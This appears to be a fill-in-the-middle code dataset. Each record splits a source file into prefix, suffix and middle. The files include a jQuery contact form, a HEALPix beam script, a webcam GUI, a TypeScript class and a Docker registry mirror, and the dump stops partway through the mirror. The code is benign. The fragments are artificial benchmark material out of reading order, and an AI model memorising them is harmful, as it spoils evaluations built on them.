file_name
large_stringlengths
4
140
prefix
large_stringlengths
0
39k
suffix
large_stringlengths
0
36.1k
middle
large_stringlengths
0
29.4k
fim_type
large_stringclasses
4 values
ajax.js
jQuery(document).ready(function(){ jQuery("#ResponsiveContactForm").validate({ submitHandler: function(form) { jQuery.ajax({ type: "POST", dataType: "json", url:MyAjax, data:{ action: 'ai_action', fdata : jQuery(document.formValidate).serialize() }, success:function(response) { if(response == 1){ jQuery("#smsg").slideDown(function(){ jQuery('html, body').animate({scrollTop: jQuery("#smsg").offset().top},'fast'); jQuery(this).show().delay(8000).slideUp("fast")}); document.getElementById('ResponsiveContactForm').reset(); refreshCaptcha(); jQuery(".input-xlarge").removeClass("valid"); jQuery(".input-xlarge").next('label.valid').remove(); }else if(response == 2){ jQuery("#fmsg").slideDown(function(){ jQuery(this).show().delay(8000).slideUp("fast")}); jQuery("#captcha").removeClass("valid").addClass("error"); jQuery("#captcha").next('label.valid').removeClass("valid").addClass("error");
}else{ alert(response); } } }); } }); });
jQuery('#captcha').val(''); refreshCaptcha();
random_line_split
consolidate_HERA_CST_beams.py
import numpy as NP import healpy as HP from astropy.io import fits import glob rootdir = '/data3/t_nithyanandan/project_HERA/' beams_dir = 'power_patterns/CST/mdl03/' prefix = 'X4Y2H_490_' suffix = '.hmap' pols = ['X'] colnum = 0 outdata = [] schemes = [] nsides = [] npixs = [] frequencies = [] for pol in pols: fullfnames = glob.glob(rootdir + beams_dir + prefix + '*' + suffix) fullfnames = NP.asarray(fullfnames) fnames = [fname.split('/')[-1] for fname in fullfnames] fnames = NP.asarray(fnames) freqs_str = [fname.split('_')[2].split('.')[0] for fname in fnames] freqs = NP.asarray(map(float, freqs_str)) sortind = NP.argsort(freqs) fullfnames = fullfnames[sortind] fnames = fnames[sortind] freqs = freqs[sortind] frequencies += [freqs] beam = None for fname in fullfnames:
outdata += [beam] schemes += [scheme] npixs += [beam[:,0].size] nsides += [HP.npix2nside(beam[:,0].size)] outfile = rootdir + beams_dir + '{0[0]}_{0[1]}'.format(fnames[0].split('_')[:2])+suffix hdulist = [] hdulist += [fits.PrimaryHDU()] hdulist[0].header['EXTNAME'] = 'PRIMARY' hdulist[0].header['NPOL'] = (len(pols), 'Number of polarizations') hdulist[0].header['SOURCE'] = ('HERA-CST', 'Source of data') for pi,pol in enumerate(pols): hdu = fits.ImageHDU(outdata[pi], name='BEAM_{0}'.format(pol)) hdu.header['PIXTYPE'] = ('HEALPIX', 'Type of pixelization') hdu.header['ORDERING'] = (schemes[pi], 'Pixel ordering scheme, either RING or NESTED') hdu.header['NSIDE'] = (nsides[pi], 'NSIDE parameter of HEALPIX') hdu.header['NPIX'] = (npixs[pi], 'Number of HEALPIX pixels') hdu.header['FIRSTPIX'] = (0, 'First pixel # (0 based)') hdu.header['LASTPIX'] = (npixs[pi]-1, 'Last pixel # (0 based)') hdulist += [hdu] hdulist += [fits.ImageHDU(frequencies[pi], name='FREQS_{0}'.format(pol))] outhdu = fits.HDUList(hdulist) outhdu.writeto(outfile, clobber=True)
inhdulist = fits.open(fname) hdu1 = inhdulist[1] data = hdu1.data.field(colnum) data = data.flatten() if not data.dtype.isnative: data.dtype = data.dtype.newbyteorder() data.byteswap(True) scheme = hdu1.header['ORDERING'][:4] if beam is None: beam = data.reshape(-1,1) else: beam = NP.hstack((beam, data.reshape(-1,1))) beam = beam / NP.max(beam, axis=0, keepdims=True)
conditional_block
consolidate_HERA_CST_beams.py
import numpy as NP import healpy as HP from astropy.io import fits import glob rootdir = '/data3/t_nithyanandan/project_HERA/' beams_dir = 'power_patterns/CST/mdl03/' prefix = 'X4Y2H_490_' suffix = '.hmap' pols = ['X'] colnum = 0 outdata = [] schemes = [] nsides = [] npixs = [] frequencies = [] for pol in pols: fullfnames = glob.glob(rootdir + beams_dir + prefix + '*' + suffix) fullfnames = NP.asarray(fullfnames) fnames = [fname.split('/')[-1] for fname in fullfnames]
fnames = NP.asarray(fnames) freqs_str = [fname.split('_')[2].split('.')[0] for fname in fnames] freqs = NP.asarray(map(float, freqs_str)) sortind = NP.argsort(freqs) fullfnames = fullfnames[sortind] fnames = fnames[sortind] freqs = freqs[sortind] frequencies += [freqs] beam = None for fname in fullfnames: inhdulist = fits.open(fname) hdu1 = inhdulist[1] data = hdu1.data.field(colnum) data = data.flatten() if not data.dtype.isnative: data.dtype = data.dtype.newbyteorder() data.byteswap(True) scheme = hdu1.header['ORDERING'][:4] if beam is None: beam = data.reshape(-1,1) else: beam = NP.hstack((beam, data.reshape(-1,1))) beam = beam / NP.max(beam, axis=0, keepdims=True) outdata += [beam] schemes += [scheme] npixs += [beam[:,0].size] nsides += [HP.npix2nside(beam[:,0].size)] outfile = rootdir + beams_dir + '{0[0]}_{0[1]}'.format(fnames[0].split('_')[:2])+suffix hdulist = [] hdulist += [fits.PrimaryHDU()] hdulist[0].header['EXTNAME'] = 'PRIMARY' hdulist[0].header['NPOL'] = (len(pols), 'Number of polarizations') hdulist[0].header['SOURCE'] = ('HERA-CST', 'Source of data') for pi,pol in enumerate(pols): hdu = fits.ImageHDU(outdata[pi], name='BEAM_{0}'.format(pol)) hdu.header['PIXTYPE'] = ('HEALPIX', 'Type of pixelization') hdu.header['ORDERING'] = (schemes[pi], 'Pixel ordering scheme, either RING or NESTED') hdu.header['NSIDE'] = (nsides[pi], 'NSIDE parameter of HEALPIX') hdu.header['NPIX'] = (npixs[pi], 'Number of HEALPIX pixels') hdu.header['FIRSTPIX'] = (0, 'First pixel # (0 based)') hdu.header['LASTPIX'] = (npixs[pi]-1, 'Last pixel # (0 based)') hdulist += [hdu] hdulist += [fits.ImageHDU(frequencies[pi], name='FREQS_{0}'.format(pol))] outhdu = fits.HDUList(hdulist) outhdu.writeto(outfile, clobber=True)
random_line_split
myVidInGUI.py
from Tkinter import * import cv2 from PIL import Image, ImageTk import pyautogui width, height = 302, 270 screenwidth, screenheight = pyautogui.size() cap = cv2.VideoCapture(0) cap.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, width) cap.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, height) root = Tk() root.title("Testing Mode") root.bind('<Escape>', lambda e: root.quit()) root.attributes("-fullscreen", True) #Create Frame mainFrame = Frame(root) devViewFrame = Frame(mainFrame, bg = "blue", width = 300, height = 650) userViewFrame = Frame(mainFrame, bg = "red", width = 500, height = 650) videoFrame = Frame(devViewFrame, bg = "green", width = width, height = height) coordsFrame = Frame(devViewFrame, bg = "black", width = 300, height = 380) devButtonFrame = Frame(devViewFrame, width = 200) userButtonFrame = Frame(userViewFrame, width = 500) desktopViewFrame = Frame(userViewFrame, bg = "red", width = 500, height = 650) #Create Buttons mode = IntVar() devModeB = Radiobutton(devButtonFrame,text="Developer Mode",variable=mode,value=1) userModeB = Radiobutton(devButtonFrame,text="User Mode",variable=mode,value=2) recordB = Button(userButtonFrame, text = "Record") stopB = Button(userButtonFrame, text = "Stop") #for Text width is mesaured in the number of characters, height is the number of lines displayed outputCoOrds = Text(coordsFrame, width = 42, height = 20) videoStream = Label(videoFrame) #Put all of the elements into the GUI mainFrame.grid(row = 1, column =0, sticky = N) devViewFrame.grid(row = 1, column = 0, rowspan = 4, sticky = N) userViewFrame.grid(row = 1, column = 3, sticky = N) videoFrame.grid(row = 1, column = 0, sticky = N) coordsFrame.grid(row = 2, column =0, sticky = NW) devButtonFrame.grid(row = 0, column = 0, sticky = N) userButtonFrame.grid(row = 0, column = 0, sticky = N) desktopViewFrame.grid(row = 1, column = 0, sticky = N) devModeB.grid (row = 0, column =0) userModeB.grid (row = 0, column = 1) recordB.grid (row = 0, column = 0) stopB.grid (row = 0, column = 1) outputCoOrds.grid(row = 0, column = 0, sticky = NW) videoStream.grid() #Show frame def
(): _, frame = cap.read() frame = cv2.flip(frame, 1) cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA) img = Image.fromarray(cv2image) imgtk = ImageTk.PhotoImage(image=img) videoStream.imgtk = imgtk videoStream.configure(image=imgtk) videoStream.after(10, show_frame) show_frame() root.mainloop()
show_frame
identifier_name
myVidInGUI.py
from Tkinter import * import cv2 from PIL import Image, ImageTk import pyautogui width, height = 302, 270 screenwidth, screenheight = pyautogui.size() cap = cv2.VideoCapture(0) cap.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, width) cap.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, height) root = Tk() root.title("Testing Mode") root.bind('<Escape>', lambda e: root.quit()) root.attributes("-fullscreen", True) #Create Frame mainFrame = Frame(root) devViewFrame = Frame(mainFrame, bg = "blue", width = 300, height = 650) userViewFrame = Frame(mainFrame, bg = "red", width = 500, height = 650) videoFrame = Frame(devViewFrame, bg = "green", width = width, height = height) coordsFrame = Frame(devViewFrame, bg = "black", width = 300, height = 380) devButtonFrame = Frame(devViewFrame, width = 200) userButtonFrame = Frame(userViewFrame, width = 500) desktopViewFrame = Frame(userViewFrame, bg = "red", width = 500, height = 650) #Create Buttons mode = IntVar() devModeB = Radiobutton(devButtonFrame,text="Developer Mode",variable=mode,value=1) userModeB = Radiobutton(devButtonFrame,text="User Mode",variable=mode,value=2) recordB = Button(userButtonFrame, text = "Record") stopB = Button(userButtonFrame, text = "Stop") #for Text width is mesaured in the number of characters, height is the number of lines displayed outputCoOrds = Text(coordsFrame, width = 42, height = 20) videoStream = Label(videoFrame) #Put all of the elements into the GUI mainFrame.grid(row = 1, column =0, sticky = N) devViewFrame.grid(row = 1, column = 0, rowspan = 4, sticky = N) userViewFrame.grid(row = 1, column = 3, sticky = N) videoFrame.grid(row = 1, column = 0, sticky = N) coordsFrame.grid(row = 2, column =0, sticky = NW) devButtonFrame.grid(row = 0, column = 0, sticky = N) userButtonFrame.grid(row = 0, column = 0, sticky = N) desktopViewFrame.grid(row = 1, column = 0, sticky = N) devModeB.grid (row = 0, column =0) userModeB.grid (row = 0, column = 1) recordB.grid (row = 0, column = 0) stopB.grid (row = 0, column = 1) outputCoOrds.grid(row = 0, column = 0, sticky = NW) videoStream.grid() #Show frame def show_frame(): _, frame = cap.read() frame = cv2.flip(frame, 1) cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA) img = Image.fromarray(cv2image) imgtk = ImageTk.PhotoImage(image=img) videoStream.imgtk = imgtk videoStream.configure(image=imgtk) videoStream.after(10, show_frame)
show_frame() root.mainloop()
random_line_split
myVidInGUI.py
from Tkinter import * import cv2 from PIL import Image, ImageTk import pyautogui width, height = 302, 270 screenwidth, screenheight = pyautogui.size() cap = cv2.VideoCapture(0) cap.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, width) cap.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, height) root = Tk() root.title("Testing Mode") root.bind('<Escape>', lambda e: root.quit()) root.attributes("-fullscreen", True) #Create Frame mainFrame = Frame(root) devViewFrame = Frame(mainFrame, bg = "blue", width = 300, height = 650) userViewFrame = Frame(mainFrame, bg = "red", width = 500, height = 650) videoFrame = Frame(devViewFrame, bg = "green", width = width, height = height) coordsFrame = Frame(devViewFrame, bg = "black", width = 300, height = 380) devButtonFrame = Frame(devViewFrame, width = 200) userButtonFrame = Frame(userViewFrame, width = 500) desktopViewFrame = Frame(userViewFrame, bg = "red", width = 500, height = 650) #Create Buttons mode = IntVar() devModeB = Radiobutton(devButtonFrame,text="Developer Mode",variable=mode,value=1) userModeB = Radiobutton(devButtonFrame,text="User Mode",variable=mode,value=2) recordB = Button(userButtonFrame, text = "Record") stopB = Button(userButtonFrame, text = "Stop") #for Text width is mesaured in the number of characters, height is the number of lines displayed outputCoOrds = Text(coordsFrame, width = 42, height = 20) videoStream = Label(videoFrame) #Put all of the elements into the GUI mainFrame.grid(row = 1, column =0, sticky = N) devViewFrame.grid(row = 1, column = 0, rowspan = 4, sticky = N) userViewFrame.grid(row = 1, column = 3, sticky = N) videoFrame.grid(row = 1, column = 0, sticky = N) coordsFrame.grid(row = 2, column =0, sticky = NW) devButtonFrame.grid(row = 0, column = 0, sticky = N) userButtonFrame.grid(row = 0, column = 0, sticky = N) desktopViewFrame.grid(row = 1, column = 0, sticky = N) devModeB.grid (row = 0, column =0) userModeB.grid (row = 0, column = 1) recordB.grid (row = 0, column = 0) stopB.grid (row = 0, column = 1) outputCoOrds.grid(row = 0, column = 0, sticky = NW) videoStream.grid() #Show frame def show_frame():
show_frame() root.mainloop()
_, frame = cap.read() frame = cv2.flip(frame, 1) cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA) img = Image.fromarray(cv2image) imgtk = ImageTk.PhotoImage(image=img) videoStream.imgtk = imgtk videoStream.configure(image=imgtk) videoStream.after(10, show_frame)
identifier_body
unit.ts
import { Move } from './move'; import { Serializable } from './iserializable'; interface IUnit { unitName: String; reflect: Number; life: Number; speed: Number; imageUrl: String; affinity: String; moves: any[]; } export class Unit implements Serializable<IUnit>, IUnit { unitName: String; reflect: Number; life: Number; speed: Number; imageUrl: String; affinity: String; moves: any[]; deserialize(_unit: IUnit) { let nb = 0; this.unitName = _unit.unitName;
this.imageUrl = _unit.imageUrl; this.affinity = _unit.affinity; // Rajoute des noms fictifs aux différents moves. if(_unit.moves != undefined) _unit.moves.forEach(move => { nb++; move.moveName = "Move" + nb; }); this.moves = _unit.moves; return this; } }
this.reflect = _unit.reflect; this.life = _unit.life; this.speed = _unit.speed;
random_line_split
unit.ts
import { Move } from './move'; import { Serializable } from './iserializable'; interface IUnit { unitName: String; reflect: Number; life: Number; speed: Number; imageUrl: String; affinity: String; moves: any[]; } export class Unit implements Serializable<IUnit>, IUnit { unitName: String; reflect: Number; life: Number; speed: Number; imageUrl: String; affinity: String; moves: any[]; deserialize(_unit: IUnit)
}
{ let nb = 0; this.unitName = _unit.unitName; this.reflect = _unit.reflect; this.life = _unit.life; this.speed = _unit.speed; this.imageUrl = _unit.imageUrl; this.affinity = _unit.affinity; // Rajoute des noms fictifs aux différents moves. if(_unit.moves != undefined) _unit.moves.forEach(move => { nb++; move.moveName = "Move" + nb; }); this.moves = _unit.moves; return this; }
identifier_body
unit.ts
import { Move } from './move'; import { Serializable } from './iserializable'; interface IUnit { unitName: String; reflect: Number; life: Number; speed: Number; imageUrl: String; affinity: String; moves: any[]; } export class
implements Serializable<IUnit>, IUnit { unitName: String; reflect: Number; life: Number; speed: Number; imageUrl: String; affinity: String; moves: any[]; deserialize(_unit: IUnit) { let nb = 0; this.unitName = _unit.unitName; this.reflect = _unit.reflect; this.life = _unit.life; this.speed = _unit.speed; this.imageUrl = _unit.imageUrl; this.affinity = _unit.affinity; // Rajoute des noms fictifs aux différents moves. if(_unit.moves != undefined) _unit.moves.forEach(move => { nb++; move.moveName = "Move" + nb; }); this.moves = _unit.moves; return this; } }
Unit
identifier_name
mirroring.py
# -*- coding: utf-8 -*- import flask import functools import logging import requests from .. import storage from .. import toolkit from . import cache from . import config DEFAULT_CACHE_TAGS_TTL = 48 * 3600 logger = logging.getLogger(__name__) def is_mirror(): cfg = config.load() return bool(cfg.get('mirroring', False)) def _response_headers(base): headers = {} if not base: return headers for k, v in base.iteritems(): if k.lower() == 'content-encoding': continue headers[k.lower()] = v logger.warn(headers) return headers def lookup_source(path, stream=False, source=None): if not source: cfg = config.load() mirroring_cfg = cfg.mirroring if not mirroring_cfg: return source = cfg.mirroring['source'] source_url = '{0}{1}'.format(source, path) headers = {} for k, v in flask.request.headers.iteritems(): if k.lower() != 'location' and k.lower() != 'host': headers[k] = v logger.debug('Request: GET {0}\nHeaders: {1}'.format( source_url, headers )) source_resp = requests.get( source_url, headers=headers, cookies=flask.request.cookies, stream=stream ) if source_resp.status_code != 200: logger.debug('Source responded to request with non-200' ' status') logger.debug('Response: {0}\n{1}\n'.format( source_resp.status_code, source_resp.text )) return None return source_resp def source_lookup_tag(f): @functools.wraps(f) def wrapper(namespace, repository, *args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(namespace, repository, *args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] tags_cache_ttl = mirroring_cfg.get('tags_cache_ttl', DEFAULT_CACHE_TAGS_TTL) if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp if not cache.redis_conn: # No tags cache, just return logger.warning('mirroring: Tags cache is disabled, please set a ' 'valid `cache\' directive in the config.') source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp headers = _response_headers(source_resp.headers) return toolkit.response(data=source_resp.content, headers=headers, raw=True) store = storage.load() request_path = flask.request.path if request_path.endswith('/tags'): # client GETs a list of tags tag_path = store.tag_path(namespace, repository) else: # client GETs a single tag tag_path = store.tag_path(namespace, repository, kwargs['tag']) data = cache.redis_conn.get('{0}:{1}'.format( cache.cache_prefix, tag_path )) if data is not None: return toolkit.response(data=data, raw=True) source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp data = source_resp.content headers = _response_headers(source_resp.headers) cache.redis_conn.setex('{0}:{1}'.format( cache.cache_prefix, tag_path ), tags_cache_ttl, data) return toolkit.response(data=data, headers=headers, raw=True) return wrapper def source_lookup(cache=False, stream=False, index_route=False): def decorator(f): @functools.wraps(f) def wrapper(*args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(*args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] if index_route: source = mirroring_cfg.get('source_index', source) logger.debug('Source provided, registry acts as mirror') if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp source_resp = lookup_source( flask.request.path, stream=stream, source=source ) if not source_resp: return resp store = storage.load() headers = _response_headers(source_resp.headers) if index_route and 'x-docker-endpoints' in headers:
if not stream: logger.debug('JSON data found on source, writing response') resp_data = source_resp.content if cache: store_mirrored_data( resp_data, flask.request.url_rule.rule, kwargs, store ) return toolkit.response( data=resp_data, headers=headers, raw=True ) logger.debug('Layer data found on source, preparing to ' 'stream response...') layer_path = store.image_layer_path(kwargs['image_id']) return _handle_mirrored_layer(source_resp, layer_path, store, headers) return wrapper return decorator def _handle_mirrored_layer(source_resp, layer_path, store, headers): sr = toolkit.SocketReader(source_resp) tmp, hndlr = storage.temp_store_handler() sr.add_handler(hndlr) def generate(): for chunk in sr.iterate(store.buffer_size): yield chunk # FIXME: this could be done outside of the request context tmp.seek(0) store.stream_write(layer_path, tmp) tmp.close() return flask.Response(generate(), headers=headers) def store_mirrored_data(data, endpoint, args, store): logger.debug('Endpoint: {0}'.format(endpoint)) path_method, arglist = ({ '/v1/images/<image_id>/json': ('image_json_path', ('image_id',)), '/v1/images/<image_id>/ancestry': ( 'image_ancestry_path', ('image_id',) ), '/v1/repositories/<path:repository>/json': ( 'registry_json_path', ('namespace', 'repository') ), }).get(endpoint, (None, None)) if not path_method: return logger.debug('Path method: {0}'.format(path_method)) pm_args = {} for arg in arglist: pm_args[arg] = args[arg] logger.debug('Path method args: {0}'.format(pm_args)) storage_path = getattr(store, path_method)(**pm_args) logger.debug('Storage path: {0}'.format(storage_path)) store.put_content(storage_path, data)
headers['x-docker-endpoints'] = toolkit.get_endpoints()
conditional_block
mirroring.py
# -*- coding: utf-8 -*- import flask import functools import logging import requests from .. import storage from .. import toolkit from . import cache from . import config DEFAULT_CACHE_TAGS_TTL = 48 * 3600 logger = logging.getLogger(__name__) def is_mirror(): cfg = config.load() return bool(cfg.get('mirroring', False)) def _response_headers(base): headers = {} if not base: return headers for k, v in base.iteritems(): if k.lower() == 'content-encoding': continue headers[k.lower()] = v logger.warn(headers) return headers def lookup_source(path, stream=False, source=None): if not source: cfg = config.load() mirroring_cfg = cfg.mirroring if not mirroring_cfg: return source = cfg.mirroring['source'] source_url = '{0}{1}'.format(source, path) headers = {} for k, v in flask.request.headers.iteritems(): if k.lower() != 'location' and k.lower() != 'host': headers[k] = v logger.debug('Request: GET {0}\nHeaders: {1}'.format( source_url, headers )) source_resp = requests.get( source_url, headers=headers, cookies=flask.request.cookies, stream=stream ) if source_resp.status_code != 200: logger.debug('Source responded to request with non-200' ' status') logger.debug('Response: {0}\n{1}\n'.format( source_resp.status_code, source_resp.text )) return None return source_resp def source_lookup_tag(f): @functools.wraps(f) def wrapper(namespace, repository, *args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(namespace, repository, *args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] tags_cache_ttl = mirroring_cfg.get('tags_cache_ttl', DEFAULT_CACHE_TAGS_TTL) if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp if not cache.redis_conn: # No tags cache, just return logger.warning('mirroring: Tags cache is disabled, please set a ' 'valid `cache\' directive in the config.') source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp headers = _response_headers(source_resp.headers) return toolkit.response(data=source_resp.content, headers=headers, raw=True) store = storage.load() request_path = flask.request.path if request_path.endswith('/tags'): # client GETs a list of tags tag_path = store.tag_path(namespace, repository) else: # client GETs a single tag tag_path = store.tag_path(namespace, repository, kwargs['tag']) data = cache.redis_conn.get('{0}:{1}'.format( cache.cache_prefix, tag_path )) if data is not None: return toolkit.response(data=data, raw=True) source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp data = source_resp.content headers = _response_headers(source_resp.headers) cache.redis_conn.setex('{0}:{1}'.format( cache.cache_prefix, tag_path ), tags_cache_ttl, data) return toolkit.response(data=data, headers=headers, raw=True) return wrapper def source_lookup(cache=False, stream=False, index_route=False): def decorator(f): @functools.wraps(f) def wrapper(*args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(*args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] if index_route: source = mirroring_cfg.get('source_index', source) logger.debug('Source provided, registry acts as mirror') if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp source_resp = lookup_source( flask.request.path, stream=stream, source=source ) if not source_resp: return resp store = storage.load() headers = _response_headers(source_resp.headers) if index_route and 'x-docker-endpoints' in headers: headers['x-docker-endpoints'] = toolkit.get_endpoints() if not stream: logger.debug('JSON data found on source, writing response') resp_data = source_resp.content if cache: store_mirrored_data( resp_data, flask.request.url_rule.rule, kwargs, store ) return toolkit.response( data=resp_data, headers=headers, raw=True ) logger.debug('Layer data found on source, preparing to ' 'stream response...') layer_path = store.image_layer_path(kwargs['image_id']) return _handle_mirrored_layer(source_resp, layer_path, store, headers) return wrapper return decorator def _handle_mirrored_layer(source_resp, layer_path, store, headers): sr = toolkit.SocketReader(source_resp) tmp, hndlr = storage.temp_store_handler() sr.add_handler(hndlr) def
(): for chunk in sr.iterate(store.buffer_size): yield chunk # FIXME: this could be done outside of the request context tmp.seek(0) store.stream_write(layer_path, tmp) tmp.close() return flask.Response(generate(), headers=headers) def store_mirrored_data(data, endpoint, args, store): logger.debug('Endpoint: {0}'.format(endpoint)) path_method, arglist = ({ '/v1/images/<image_id>/json': ('image_json_path', ('image_id',)), '/v1/images/<image_id>/ancestry': ( 'image_ancestry_path', ('image_id',) ), '/v1/repositories/<path:repository>/json': ( 'registry_json_path', ('namespace', 'repository') ), }).get(endpoint, (None, None)) if not path_method: return logger.debug('Path method: {0}'.format(path_method)) pm_args = {} for arg in arglist: pm_args[arg] = args[arg] logger.debug('Path method args: {0}'.format(pm_args)) storage_path = getattr(store, path_method)(**pm_args) logger.debug('Storage path: {0}'.format(storage_path)) store.put_content(storage_path, data)
generate
identifier_name
mirroring.py
# -*- coding: utf-8 -*- import flask import functools import logging import requests from .. import storage from .. import toolkit from . import cache from . import config DEFAULT_CACHE_TAGS_TTL = 48 * 3600 logger = logging.getLogger(__name__) def is_mirror(): cfg = config.load() return bool(cfg.get('mirroring', False)) def _response_headers(base): headers = {} if not base: return headers for k, v in base.iteritems(): if k.lower() == 'content-encoding': continue headers[k.lower()] = v logger.warn(headers) return headers def lookup_source(path, stream=False, source=None): if not source: cfg = config.load() mirroring_cfg = cfg.mirroring if not mirroring_cfg: return source = cfg.mirroring['source'] source_url = '{0}{1}'.format(source, path) headers = {} for k, v in flask.request.headers.iteritems(): if k.lower() != 'location' and k.lower() != 'host': headers[k] = v logger.debug('Request: GET {0}\nHeaders: {1}'.format( source_url, headers )) source_resp = requests.get( source_url, headers=headers, cookies=flask.request.cookies, stream=stream ) if source_resp.status_code != 200: logger.debug('Source responded to request with non-200' ' status') logger.debug('Response: {0}\n{1}\n'.format( source_resp.status_code, source_resp.text )) return None return source_resp def source_lookup_tag(f): @functools.wraps(f) def wrapper(namespace, repository, *args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(namespace, repository, *args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] tags_cache_ttl = mirroring_cfg.get('tags_cache_ttl', DEFAULT_CACHE_TAGS_TTL) if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp if not cache.redis_conn: # No tags cache, just return logger.warning('mirroring: Tags cache is disabled, please set a ' 'valid `cache\' directive in the config.') source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp headers = _response_headers(source_resp.headers) return toolkit.response(data=source_resp.content, headers=headers, raw=True)
request_path = flask.request.path if request_path.endswith('/tags'): # client GETs a list of tags tag_path = store.tag_path(namespace, repository) else: # client GETs a single tag tag_path = store.tag_path(namespace, repository, kwargs['tag']) data = cache.redis_conn.get('{0}:{1}'.format( cache.cache_prefix, tag_path )) if data is not None: return toolkit.response(data=data, raw=True) source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp data = source_resp.content headers = _response_headers(source_resp.headers) cache.redis_conn.setex('{0}:{1}'.format( cache.cache_prefix, tag_path ), tags_cache_ttl, data) return toolkit.response(data=data, headers=headers, raw=True) return wrapper def source_lookup(cache=False, stream=False, index_route=False): def decorator(f): @functools.wraps(f) def wrapper(*args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(*args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] if index_route: source = mirroring_cfg.get('source_index', source) logger.debug('Source provided, registry acts as mirror') if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp source_resp = lookup_source( flask.request.path, stream=stream, source=source ) if not source_resp: return resp store = storage.load() headers = _response_headers(source_resp.headers) if index_route and 'x-docker-endpoints' in headers: headers['x-docker-endpoints'] = toolkit.get_endpoints() if not stream: logger.debug('JSON data found on source, writing response') resp_data = source_resp.content if cache: store_mirrored_data( resp_data, flask.request.url_rule.rule, kwargs, store ) return toolkit.response( data=resp_data, headers=headers, raw=True ) logger.debug('Layer data found on source, preparing to ' 'stream response...') layer_path = store.image_layer_path(kwargs['image_id']) return _handle_mirrored_layer(source_resp, layer_path, store, headers) return wrapper return decorator def _handle_mirrored_layer(source_resp, layer_path, store, headers): sr = toolkit.SocketReader(source_resp) tmp, hndlr = storage.temp_store_handler() sr.add_handler(hndlr) def generate(): for chunk in sr.iterate(store.buffer_size): yield chunk # FIXME: this could be done outside of the request context tmp.seek(0) store.stream_write(layer_path, tmp) tmp.close() return flask.Response(generate(), headers=headers) def store_mirrored_data(data, endpoint, args, store): logger.debug('Endpoint: {0}'.format(endpoint)) path_method, arglist = ({ '/v1/images/<image_id>/json': ('image_json_path', ('image_id',)), '/v1/images/<image_id>/ancestry': ( 'image_ancestry_path', ('image_id',) ), '/v1/repositories/<path:repository>/json': ( 'registry_json_path', ('namespace', 'repository') ), }).get(endpoint, (None, None)) if not path_method: return logger.debug('Path method: {0}'.format(path_method)) pm_args = {} for arg in arglist: pm_args[arg] = args[arg] logger.debug('Path method args: {0}'.format(pm_args)) storage_path = getattr(store, path_method)(**pm_args) logger.debug('Storage path: {0}'.format(storage_path)) store.put_content(storage_path, data)
store = storage.load()
random_line_split
mirroring.py
# -*- coding: utf-8 -*- import flask import functools import logging import requests from .. import storage from .. import toolkit from . import cache from . import config DEFAULT_CACHE_TAGS_TTL = 48 * 3600 logger = logging.getLogger(__name__) def is_mirror(): cfg = config.load() return bool(cfg.get('mirroring', False)) def _response_headers(base): headers = {} if not base: return headers for k, v in base.iteritems(): if k.lower() == 'content-encoding': continue headers[k.lower()] = v logger.warn(headers) return headers def lookup_source(path, stream=False, source=None): if not source: cfg = config.load() mirroring_cfg = cfg.mirroring if not mirroring_cfg: return source = cfg.mirroring['source'] source_url = '{0}{1}'.format(source, path) headers = {} for k, v in flask.request.headers.iteritems(): if k.lower() != 'location' and k.lower() != 'host': headers[k] = v logger.debug('Request: GET {0}\nHeaders: {1}'.format( source_url, headers )) source_resp = requests.get( source_url, headers=headers, cookies=flask.request.cookies, stream=stream ) if source_resp.status_code != 200: logger.debug('Source responded to request with non-200' ' status') logger.debug('Response: {0}\n{1}\n'.format( source_resp.status_code, source_resp.text )) return None return source_resp def source_lookup_tag(f): @functools.wraps(f) def wrapper(namespace, repository, *args, **kwargs): cfg = config.load() mirroring_cfg = cfg.mirroring resp = f(namespace, repository, *args, **kwargs) if not mirroring_cfg: return resp source = mirroring_cfg['source'] tags_cache_ttl = mirroring_cfg.get('tags_cache_ttl', DEFAULT_CACHE_TAGS_TTL) if resp.status_code != 404: logger.debug('Status code is not 404, no source ' 'lookup required') return resp if not cache.redis_conn: # No tags cache, just return logger.warning('mirroring: Tags cache is disabled, please set a ' 'valid `cache\' directive in the config.') source_resp = lookup_source( flask.request.path, stream=False, source=source ) if not source_resp: return resp headers = _response_headers(source_resp.headers) return toolkit.response(data=source_resp.content, headers=headers, raw=True) store = storage.load() request_path = flask.request.path if request_path.endswith('/tags'): # client GETs a list of tags tag_path = store.tag_path(namespace, repository) else: # client GETs a single tag tag_path = store.tag_path(namespace, repository, kwargs['tag']) data = cache.redis_conn.get('{0}:{1}'.format( cache.cache_prefix, tag_path )) if data is not 